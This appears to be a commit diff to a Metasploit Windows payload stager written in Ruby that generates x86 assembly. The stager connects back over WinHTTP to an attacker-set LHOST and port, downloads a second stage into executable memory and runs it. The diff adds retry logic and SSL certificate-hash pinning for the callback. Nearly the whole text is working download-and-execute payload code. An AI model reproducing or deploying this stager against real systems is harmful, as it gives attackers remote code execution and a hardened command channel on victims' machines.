@@ -36,15 +36,17 @@ def generate
36
36
ssl : false ,
37
37
host : datastore [ 'LHOST' ] ,
38
38
port : datastore [ 'LPORT' ] ,
39
- url : generate_small_uri )
39
+ url : generate_small_uri ,
40
+ retry_count : datastore [ 'StagerRetryCount' ] )
40
41
end
41
42
42
43
conf = {
43
44
ssl : false ,
44
45
host : datastore [ 'LHOST' ] ,
45
46
port : datastore [ 'LPORT' ] ,
46
47
url : generate_uri ,
47
- exitfunk : datastore [ 'EXITFUNC' ]
48
+ exitfunk : datastore [ 'EXITFUNC' ] ,
49
+ retry_count : datastore [ 'StagerRetryCount' ]
48
50
}
49
51
50
52
generate_reverse_winhttp ( conf )
@@ -98,23 +100,32 @@ def asm_generate_wchar_array(str)
98
100
join ( "," )
99
101
end
100
102
103
+
104
+ #
105
+ # Generate an assembly stub with the configured feature set and options.
101
106
#
102
- # Dynamic payload generation
107
+ # @option opts [Bool] :ssl Whether or not to enable SSL
108
+ # @option opts [String] :url The URI to request during staging
109
+ # @option opts [String] :host The host to connect to
110
+ # @option opts [Fixnum] :port The port to connect to
111
+ # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
112
+ # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
113
+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
114
+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
103
115
#
104
116
def asm_reverse_winhttp ( opts = { } )
105
117
118
+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
119
+ verify_ssl = nil
120
+ encoded_cert_hash = nil
121
+ encoded_url = asm_generate_wchar_array ( opts [ :url ] )
122
+ encoded_host = asm_generate_wchar_array ( opts [ :host ] )
106
123
107
- #
108
- # options should contain:
109
- # ssl: (true|false)
110
- # url: "/url_to_request"
111
- # host: [hostname]
112
- # port: [port]
113
- # exitfunk: [process|thread|seh|sleep]
114
- #
124
+ if opts [ :ssl ] && opts [ :verify_cert ] && opts [ :verify_cert_hash ]
125
+ verify_ssl = true
126
+ encoded_cert_hash = opts [ :verify_cert_hash ] . unpack ( "C*" ) . map { |c | "0x%.2x" % c } . join ( "," )
127
+ end
115
128
116
- encoded_url = asm_generate_wchar_array ( opts [ :url ] )
117
- encoded_host = asm_generate_wchar_array ( opts [ :host ] )
118
129
119
130
http_open_flags = 0
120
131
@@ -137,46 +148,52 @@ def asm_reverse_winhttp(opts={})
137
148
push esp ; Push a pointer to the "winhttp" string
138
149
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
139
150
call ebp ; LoadLibraryA( "winhttp" )
151
+ ^
140
152
141
- set_retry:
142
- push.i8 6 ; retry 6 times
143
- pop edi
144
- xor ebx, ebx
145
- mov ecx, edi
153
+ if verify_ssl
154
+ asm << %Q^
155
+ load_crypt32:
156
+ push 0x00323374 ; Push the string 'crypt32',0
157
+ push 0x70797263 ; ...
158
+ push esp ; Push a pointer to the "crypt32" string
159
+ push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
160
+ call ebp ; LoadLibraryA( "wincrypt" )
161
+ ^
162
+ end
163
+
164
+ asm << %Q^
146
165
147
- push_zeros:
148
- push ebx ; NULL values for the WinHttpOpen API parameters
149
- loop push_zeros
166
+ xor ebx, ebx
150
167
151
168
WinHttpOpen:
152
- ; Flags [5]
153
- ; ProxyBypass (NULL) [4]
154
- ; ProxyName (NULL) [3]
155
- ; AccessType (DEFAULT_PROXY= 0) [2]
156
- ; UserAgent (NULL) [1]
169
+ push ebx ; Flags
170
+ push ebx ; ProxyBypass (NULL)
171
+ push ebx ; ProxyName (NULL)
172
+ push ebx ; AccessType (DEFAULT_PROXY= 0)
173
+ push ebx ; UserAgent (NULL) [1]
157
174
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
158
175
call ebp
159
176
160
177
WinHttpConnect:
161
- push ebx ; Reserved (NULL) [4]
178
+ push ebx ; Reserved (NULL)
162
179
push #{ opts [ :port ] } ; Port [3]
163
180
call got_server_uri ; Double call to get pointer for both server_uri and
164
- server_uri: ; server_host; server_uri is saved in EDI for later
181
+ server_uri: ; server_host; server_uri is saved in edi for later
165
182
db #{ encoded_url }
166
183
got_server_host:
167
- push eax ; Session handle returned by WinHttpOpen [1]
184
+ push eax ; Session handle returned by WinHttpOpen
168
185
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
169
186
call ebp
170
187
171
188
WinHttpOpenRequest:
172
189
173
- push.i32 #{ "0x%.8x" % http_open_flags }
174
- push ebx ; AcceptTypes (NULL) [6]
175
- push ebx ; Referrer (NULL) [5]
176
- push ebx ; Version (NULL) [4]
177
- push edi ; ObjectName (URI) [3]
178
- push ebx ; Verb (GET method) (NULL) [2]
179
- push eax ; Connect handler returned by WinHttpConnect [1]
190
+ push #{ "0x%.8x" % http_open_flags }
191
+ push ebx ; AcceptTypes (NULL)
192
+ push ebx ; Referrer (NULL)
193
+ push ebx ; Version (NULL)
194
+ push edi ; ObjectName (URI)
195
+ push ebx ; Verb (GET method) (NULL)
196
+ push eax ; Connect handle returned by WinHttpConnect
180
197
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
181
198
call ebp
182
199
xchg esi, eax ; save HttpRequest handler in esi
@@ -192,16 +209,21 @@ def asm_reverse_winhttp(opts={})
192
209
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
193
210
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
194
211
mov eax, esp
195
- push.i8 4 ; sizeof(buffer)
212
+ push 4 ; sizeof(buffer)
196
213
push eax ; &buffer
197
- push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
214
+ push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
198
215
push esi ; hHttpRequest
199
216
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
200
217
call ebp
201
218
^
202
219
end
203
220
204
221
asm << %Q^
222
+ ; Store our retry counter in the edi register
223
+ set_retry:
224
+ push #{ retry_count }
225
+ pop edi
226
+
205
227
send_request:
206
228
207
229
WinHttpSendRequest:
@@ -215,7 +237,7 @@ def asm_reverse_winhttp(opts={})
215
237
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
216
238
call ebp
217
239
test eax,eax
218
- jnz receive_response ; if TRUE call WinHttpReceiveResponse API
240
+ jnz check_response ; if TRUE call WinHttpReceiveResponse API
219
241
220
242
try_it_again:
221
243
dec edi
@@ -237,12 +259,79 @@ def asm_reverse_winhttp(opts={})
237
259
^
238
260
end
239
261
262
+ # Jump target if the request was sent successfully
263
+ asm << %Q^
264
+ check_response:
265
+ ^
266
+
267
+ # Verify the SSL certificate hash
268
+ if verify_ssl
269
+
270
+ asm << %Q^
271
+ ssl_cert_get_context:
272
+ push 4
273
+ mov ecx, esp ; Allocate &bufferLength
274
+ push 0
275
+ mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
276
+
277
+ push ecx ; &bufferLength
278
+ push ebx ; &buffer
279
+ push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
280
+ push esi ; hHttpRequest
281
+ push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
282
+ call ebp
283
+ test eax, eax ;
284
+ jz failure ; Bail out if we couldn't get the certificate context
285
+
286
+ ; ebx
287
+ ssl_cert_allocate_hash_space:
288
+ push 20 ;
289
+ mov ecx, esp ; Store a reference to the address of 20
290
+ sub esp,[ecx] ; Allocate 20 bytes for the hash output
291
+ mov edi, esp ; edi will point to our buffer
292
+
293
+ ssl_cert_get_server_hash:
294
+ push ecx ; &bufferLength
295
+ push edi ; &buffer (20-byte SHA1 hash)
296
+ push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
297
+ push [ebx] ; *pCert
298
+ push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
299
+ call ebp
300
+ test eax, eax ;
301
+ jz failure ; Bail out if we couldn't get the certificate context
302
+
303
+ ssl_cert_start_verify:
304
+ call ssl_cert_compare_hashes
305
+ db #{ encoded_cert_hash }
306
+
307
+ ssl_cert_compare_hashes:
308
+ pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
309
+ ; edi points to the server-provided certificate hash
310
+
311
+ push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
312
+ pop ecx ;
313
+ mov edx, ecx ; Keep a reference to 4 in edx
314
+
315
+ ssl_cert_verify_compare_loop:
316
+ mov eax, [ebx] ; Grab the next DWORD of the hash
317
+ cmp eax, [edi] ; Compare with the server hash
318
+ jnz failure ; Bail out if the DWORD doesn't match
319
+ add ebx, edx ; Increment internal hash pointer by 4
320
+ add edi, edx ; Increment server hash pointer by 4
321
+ loop ssl_cert_verify_compare_loop
322
+
323
+ ; Our certificate hash was valid, hurray!
324
+ ssl_cert_verify_cleanup:
325
+ xor ebx, ebx ; Reset ebx back to zero
326
+ ^
327
+ end
328
+
240
329
asm << %Q^
241
330
receive_response:
242
331
; The API WinHttpReceiveResponse needs to be called
243
- ; first to get a valid handler for WinHttpReadData
244
- push ebx ; Reserved (NULL) [2]
245
- push esi ; Request handler returned by WinHttpSendRequest [1]
332
+ ; first to get a valid handle for WinHttpReadData
333
+ push ebx ; Reserved (NULL)
334
+ push esi ; Request handler returned by WinHttpSendRequest
246
335
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
247
336
call ebp
248
337
test eax,eax
@@ -251,7 +340,7 @@ def asm_reverse_winhttp(opts={})
251
340
252
341
asm << %Q^
253
342
allocate_memory:
254
- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
343
+ push 0x40 ; PAGE_EXECUTE_READWRITE
255
344
push 0x1000 ; MEM_COMMIT
256
345
push 0x00400000 ; Stage allocation (4Mb ought to do us)
257
346
push ebx ; NULL as we dont care where the allocation is
@@ -299,6 +388,8 @@ def asm_reverse_winhttp(opts={})
299
388
asm
300
389
end
301
390
391
+
392
+
302
393
end
303
394
304
395
end
0 commit comments